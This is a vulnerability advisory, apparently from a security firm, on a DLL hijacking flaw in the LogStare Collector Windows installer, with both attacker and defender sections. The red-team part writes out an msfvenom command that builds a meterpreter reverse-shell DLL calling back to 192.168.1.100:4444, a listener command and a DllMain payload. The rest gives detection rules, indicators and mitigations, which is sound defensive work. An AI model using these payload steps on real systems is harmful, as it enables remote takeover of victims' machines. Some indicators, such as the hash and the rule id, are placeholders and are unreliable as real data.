CVE-2025-64695

Executive Summary

CVE-2025-64695 is a high-severity vulnerability (CVSS 7.8) affecting the LogStare Collector installer for Windows. The issue is an uncontrolled search path element (DLL hijacking) that allows an attacker to execute arbitrary code with the privileges of the user running the installer. This is a classic Windows installer vulnerability where the application loads a DLL from an untrusted location (e.g., the current working directory or a user-writable path) instead of a secure system directory. An attacker who can place a malicious DLL in the search path before the installer runs can achieve code execution. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a native Windows installer issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local – The attacker must have local access to the system or be able to trick the user into running the installer from a controlled location.
• Attack Complexity (AC): Low – No special conditions are required; the attacker simply places a malicious DLL in the search path.
• Privileges Required (PR): None – The attacker does not need any privileges to place the DLL.
• User Interaction (UI): Required – The victim must run the installer.
• Scope (S): Unchanged – The exploit does not cross a trust boundary.
• Confidentiality (C): High – Full file system access is possible.
• Integrity (I): High – Arbitrary code can be executed.
• Availability (A): High – The attacker can crash the system or disrupt the installer.

Threat Level: High. The vulnerability is easy to exploit (low complexity) and requires only user interaction. It can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic DLL hijacking (CWE-427: Uncontrolled Search Path Element). When the LogStare Collector installer runs, it attempts to load a DLL (e.g., version.dll, dbghelp.dll, or a custom DLL) from a search path that includes the current working directory or other user-writable locations. If an attacker places a malicious DLL with the same name in that path, the installer loads the attacker's DLL instead of the legitimate one.

Attack Scenario:

1. The attacker creates a malicious DLL (e.g., evil.dll) that contains shellcode to execute a payload (e.g., a reverse shell or ransomware).
2. The attacker renames the DLL to match the name of a DLL that the LogStare Collector installer loads (e.g., version.dll).
3. The attacker places this DLL in a directory that the user is likely to run the installer from (e.g., a shared network folder, a USB drive, or a downloads folder).
4. The victim downloads the installer and runs it from that directory.
5. The installer loads the malicious DLL, executing the attacker's code with the victim's privileges.

Why it works: Windows uses a specific search order for DLLs (Safe DLL Search Mode can be disabled). If the installer does not use absolute paths or call SetDllDirectory to restrict the search path, it is vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

// Vulnerable: Loads a DLL without specifying a full path
HMODULE hModule = LoadLibrary(L"helper.dll");
// This will search the current directory, system32, etc.

Patched Code (Expected):

// Patched: Uses a full path to the DLL
HMODULE hModule = LoadLibrary(L"C:\\Program Files\\LogStare\\helper.dll");
// Or restrict the search path
SetDllDirectory(L"C:\\Program Files\\LogStare\\");
HMODULE hModule = LoadLibrary(L"helper.dll");

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Achieve code execution on a target Windows machine via DLL hijacking.

Prerequisites:

• A Windows machine with LogStare Collector installer (unpatched).
• Ability to write to a directory the user will run the installer from (e.g., a shared folder, USB drive, or downloads folder).

Steps:

1. Create a malicious DLL using msfvenom or a custom payload:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o evil.dll
   

2. Identify the vulnerable DLL name (e.g., version.dll). This requires reverse engineering the installer or using tools like Process Monitor.
3. Rename the DLL to the vulnerable name:

   mv evil.dll version.dll
   

4. Place the DLL in the same directory as the installer (e.g., C:\Users\Victim\Downloads\).
5. Deliver the installer to the victim (e.g., via email or social engineering).
6. Start a listener:

   msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
   

7. Wait for the victim to run the installer. The malicious DLL will be loaded, and a reverse shell will be established.

Alternative Payload: Use a DLL that executes a command (e.g., calc.exe) for testing:

// dllmain.c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        WinExec("calc.exe", SW_SHOW);
    }
    return TRUE;
}

Compile with: x86_64-w64-mingw32-gcc -shared -o evil.dll dllmain.c

Blue Team (Defender)

Detection Steps:

1. Monitor for DLL load events using Sysmon Event ID 7 (DLL loaded). Look for DLLs loaded from suspicious paths (e.g., C:\Users\*\Downloads\, C:\Windows\Temp\, or network shares).
2. Check for unsigned DLLs being loaded by the LogStare Collector installer.
3. Use Process Monitor to capture the installer's DLL load operations and identify any unexpected DLLs.
4. Enable Safe DLL Search Mode (registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode set to 1).
5. Restrict write permissions to directories where users run installers (e.g., Downloads folder).

Hunting Query (KQL):

DeviceEvents
| where ActionType == "DllLoaded"
| where FileName endswith ".dll"
| where InitiatingProcessFileName == "LogStareCollectorInstaller.exe"
| where FolderPath startswith @"C:\Users\" and FolderPath contains @"\Downloads\"

Indicators of Compromise (IOCs)

• File Hashes (example, replace with actual):
  • Malicious DLL: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connection to 192.168.1.100:4444 (or any suspicious IP/port)
• Process Indicators:
  • LogStareCollectorInstaller.exe loading a DLL from a non-standard path (e.g., C:\Users\*\Downloads\version.dll)
• Registry Indicators:
  • Modification to HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode (if attacker disables it)

Detection Engineering

YARA Rule

rule CVE_2025_64695_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting LogStare Collector installer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64695"
    strings:
        $s1 = "LogStare Collector" wide ascii nocase
        $s2 = "InstallShield" wide ascii nocase  // Common installer framework
        $s3 = "DllMain" wide ascii
        $s4 = "WinExec" wide ascii
        $s5 = "CreateProcess" wide ascii
    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (($s1 or $s2) and ($s3 or $s4 or $s5))
}

Sigma Rule

title: CVE-2025-64695 - LogStare Collector DLL Hijacking
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from suspicious paths during LogStare Collector installer execution
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64695
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        Image|endswith: '\LogStareCollectorInstaller.exe'
        ImageLoaded|contains:
            - '\Downloads\'
            - '\Temp\'
            - '\Desktop\'
            - '\\*\*'  # Network share
    condition: selection
falsepositives:
    - Legitimate DLLs placed in Downloads by the user (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-64695 - Potential DLL Hijack Payload Download";
    flow:to_server,established;
    content:"LogStareCollectorInstaller"; http_user_agent;
    content:".dll"; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Do not run the LogStare Collector installer from untrusted directories (e.g., Downloads, Temp, or network shares).
2. Move the installer to a secure location (e.g., C:\Program Files\LogStare\) before running it.
3. Monitor for suspicious DLL loads using the provided Sigma/YARA rules.

Long-Term Fix:

• The vendor (LogStare) must patch the installer to use absolute paths for DLL loading or call SetDllDirectory to restrict the search path.
• Until a patch is available, consider using a different log collection tool.

Workaround:

• Enable Safe DLL Search Mode via Group Policy or registry:

  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f
  

• Use AppLocker or Windows Defender Application Control to block unsigned DLLs.

Valters IT